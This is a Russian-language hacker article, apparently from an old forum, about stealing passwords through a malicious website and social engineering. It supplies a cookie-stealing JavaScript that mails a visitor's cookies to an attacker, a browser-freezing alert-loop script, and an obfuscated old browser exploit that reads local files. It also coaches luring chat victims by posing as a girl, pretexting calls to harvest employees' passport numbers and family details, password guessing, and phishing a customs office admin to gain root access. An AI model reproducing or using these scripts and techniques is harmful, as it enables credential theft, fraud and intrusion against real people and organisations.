Хакерские Cкрипты PHP. JS. PERL.
Скрипты для кражи паролей
<br>Итак, в этой статье я расскажу, как можно получить пароль и всякую интересную информацию при помощи сайта. Всё что нужно "хацкеру" - это просто иметь в сети свою страничку, на которую вы либо придёте сами, либо вас туда заманят. Скитаясь по сети, я всё чаще и чаще слышу плохие отзывы о социнжинерии. Если вас не интересуют способы взлома с применением социнжинерии или для вас это всё детский лепет, то нажмите в верхнем углу вашего браузера крестик и забудьте о существовании этой статьи. В наше время мало только разбираться в системных кодах и всяких программерских штучках, но ещё надо уметь общаться с народом. Многие хакеры взламывают банки, компьютеры, базы данных не только вычисляя уязвимости в системе безопасности, но и пользуются социнженерией на каждом углу, ведь хакер не только тот, кто взломал систему, но и тот, кто методом общения получает зачастую доступ к самым любопытным местам инета. Достаточно вспомнить так называемого мега хакера Митника, который взломал систему безопасности банка при помощи как раз той самой соцэнжинерии. Сначала я объясню способ взлома простых пользователей, а затем более глобальный взлом, например какой-нить фирмы. Представьте себе, что "хацкер" платит за сеть немалую сумму и начинает подумывать, как бы сделать её бесплатной, или его не пускают без пароля на какой-то рессурс в сети, а у вас есть то, что ему нужно. Первоначально он создаёт себе страничку в сети и на одной из страничек вживляет код примерно вот такой!

<script language=javascript>

var cook=show_all_cookies();

document.open("cookies",cook);

document.write('<form onsubmit="java script:window.close();"

method=post action="mailto:JoseyWales@mail.ru"

ENCTYPE="text/plain"><input type=hidden

name=h1 value=',cook,'><input type=submit value="Доброго времени суток!">

</form>');

document.close("cookies");

</SCRIPT>

(скрипт в целях безопасности был немного изменён) Теперь остаётся только заманить на сайт жертву, где вылетит окошко с надписью "Доброго времени суток" после нажатия на кнопку ОК на мыло злоумышленника будут высланы ваши Cookies, в которых содержится много чего интересного - от вашего IP адреса до паролей к службам, которыми вы пользуетесь.

При простом изучении Cookies можно отрыть довольно много интересной информации. Всё, чем злоумышленник рискует - это то, что он светит своё мыло, но так как сейчас слишком много халявных почтовых ящиков, это не так опасно. Обычно ящик создаётся для проведения атаки, а затем либо сносится или забрасывается и взломщика уже не найти. Хотя можно этот скрипт написать в файле с расширением js и вставить на сайте его при помощи

<script LANGUAGE="JavaScript"

SRC="имя вашего файла.js">


Выкладываем свои!

</SCRIPT>

в этом случает мыло уже не светится. Как же заманить жертву на свой сайт? Да способов до безумия много, например, вы вваливаетесь на чат и выбираете жертву, немного поговорив с жертвой, вы должны добиться её расположения, лучше всего если ваша жертва будет противоположного вам пола. Практика показывает, что лучше всего чтобы вы были представлены в чате девушкой, соответственно выбираете себе ник, который бы вас характиризовал, как девушку (при разговоре смотрите, что пишите. Не выдайте себя окончаниями слов, если вы притворились девушкой, так будьте ей). Каждому понятно, что с девушкой будут говорить все. Помните, что лучше на жертву не давить, а, например, спросить "а у тебя есть фотка? Моя лежит вот по этому адресу http://ваш сайт.ru, сходи если хочешь". Каждому парню будет интересно знать, как выглядит его собеседница, а как только он попадёт на вашу страничку, вы лезьте в потовый ящик и забирайте оттуда его Cookies. Вот и всё, теперь просто надо в них порыться и вы найдёте практически всё, что хотите, таким же способом можно узнавать IP адрес человека, который пользуется прокси серверами, а зная IP, уже можно будет проверить его на расшаренные ресурсы, провести Dos атаку или просто по детски выкинуть из чата. А также можно просто прикалываться при помощи сайта, например, при помощи вот этого скрипта :

<script>

for( I=1 ; I<=1100 ; I++ )

{

if( I==1 ) alert( "А теперь виси" );

else alert( "а я" + ( (I==1100)? "раз тебе" : I ) + "говорю виси" );

}

alert("Пошёл на...");

top.frames['Inform'].document.forms[0].Accent.options[31].selected = 1;

top.frames['Inform'].document.forms[0].Announce.value = "Kill";

top.frames['Inform'].document.forms[0].submit();

top.frames['Dark'].document.forms[2].submit();

</script>

При помощи этого скрипта можно попортить нервы посетителю и затормазить его систему на долгое время не спасает даже перезагрузка, а если вписать в его тело скрипт отправки Кукисов, вы получите много копий для более точного анализирования. Вот пример скрипт, который может передать злоумышленнику любой файл с вашего компьютера на его мыло.

<script>

alert("Create text file c:\test.txt and it will be read");

function f()

{

I1.focus();

document.execCommand("selectAll");

document.execCommand("InsertParagraph",false,">\"STYLE='left:expressio

n(eval(String.fromCharCode(97,61,119,105,110,100,111,119,46,111,112,10

1,110,40,39,102,105,108,101,58,47,47,99,58,47,116,101,115,116,46,116,1

20,116,39,41,59,97,108,101,114,116,40,97,46,100,111,99,117,109,101,110

,116,46,98,111,100,121,46,105,110,110,101,114,84,101,120,116,41)));'")

;

}

setTimeout('f()',2000);

</SCRIPT>

<IFRAME ID="I1" SRC="file://c:/test.txt">

Как вы видите, способов получить пароли с вашего компа очень много, а затраты для получения их не такие уж и большие, просто надо иметь для этих целей страничку размещённую в сети, на которую будут приходить или заманиваться пользователи.Теперь о взломе фирм, каждая уважающая себя фирма имеет сеть, а в большинстве случаев имеет собственную локальную сеть.

Я как-то раз поспорил с админом Таможенной службы, что взломаю его сеть без каких-либо глобальных действий. На проведение взлома мне дали 7 дней. Придя домой, я протестировал их сеть на наличие расшаренных рессурсов, к сожалению они были все прикрыты паролями. Для меня было два выхода: начать подбирать пароль при помощи словаря, но на это у меня бы ушло много времени, или взламывать их при помощи социнженерии.

Итак я выбрал социнженерию, начал собирать информацию, которая меня интересовала, то есть я залез в справочники и выписал оттуда все телефоны, фамилии и имена служащих, некоторые из них я узнал через знакомых. Так же я специально сходил в эту таможню и списал все фалмилии и должности которые были написаны на табличках. Самым большим моим достижением было то, что я зазнакомился с секретаршей. При помощи её, мне как раз удалось узнать, где они закупали компьютеры и стоят на обслуживании. Следующим шагом было то, что я позвонил и представился от фирмы, обслуживающей их компьютеры, кидаясь всякими фамилиями, мне удалось выяснить номера паспартов, дни рождения, имена детей и всё такое. После чего я сел за комп и начал пробовать вводить имена и данные паспортов, как оказалось, многие в таможне использовали для логина свои фамилии или имена, а для пароля номера паспортов или имена своих детей, а также дни рождения. Таким способом я подобрал довольно много паролей для входа, но ни одного не было с доступом root.

Это в какой-то мере меня опечалило, но на этом я не остановился, создал в сети одну страничку с выше упомянутым скриптом, и написал письмо на мыло верховного админа этой конторы, где говорилось, что он должен зайти на сайт и ознакомится с новыми положениями по таможенной службе (заголовок письма я подделал так, чтобы оно выглядело довольно убедительным). И что вы думаете? Этот админ повёлся и заглянул на мою страничку, а я получил все его Cookies и пароли в файле password, после чего проник в систему и оставил там записи, также дал себе собственный root доступ до его сервера. (Я мог изменять документы, просматривать их, скачивать) Вот так я получил халявный ящик пива от админа. И расказал ему, как был произведён взлом - практически без атаки самой системы.

Защита : не будьте наивными, и скачайте патч с сайта майкрософта для закрытия дыры, которая позволяет отсылать файлы и кукисы с вашего компьютера!